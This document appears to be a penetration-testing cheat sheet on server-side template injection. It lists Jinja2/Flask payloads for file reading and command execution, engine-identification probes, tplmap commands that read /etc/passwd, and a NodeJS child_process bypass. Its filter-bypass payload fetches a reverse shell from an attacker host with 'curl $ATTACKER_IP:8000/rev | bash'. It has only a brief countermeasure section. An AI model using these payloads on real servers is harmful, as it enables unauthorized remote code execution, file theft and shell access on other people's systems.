# Server Side Template Injection (SSTI) Pass in parameters to control the template. ## Usage * Sanity test ```python {{2+2}} ``` * Flask template LFI ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]()().read()}} ``` * Executing commands ```sh {{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }} ``` * RCE on server ```python {{config.__class__.__init__.__globals__['os'].popen().read()}} ``` ## Identification of Template Engine Identify via payload checking * Smarty: `a{*comment*}b` * Mako: `${"z".join("ab")}` * Twig or Jinja2 ```sh {{7*7}} {{7*'7'}} ``` ## Tools ### TPlmap ```sh git clone https://github.com/epinna/tplmap.git pip2 install -r requirements ``` |HTTP Method|Parameter| |-----------|---------| |GET|`tplmap -u /?`| |POST|`tplmap -u -d ''`| * Using remote command ``` tplmap -u http://:/ -d '' --os-cmd "cat /etc/passwd" ``` ### Countermeasure * Remove everything in user input but alnum. Passing data, not data to f-string. ```python input = re.sub("[^A-Za-z0-9]", "", input) template = "User input is {{ input }}" return render_template_string(template, input=input) ``` ## Bypass * Save reverse shell as `rev` ```sh {{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}} ``` ### NodeJS If functions like require are blacklisted and are unusable, use [built-in objects](https://nodejs.org/api/globals.html) of NodeJS. Bypass by using `process` can be done instead, e.g. `process.mainModule.require('child_process').execSync('id');`.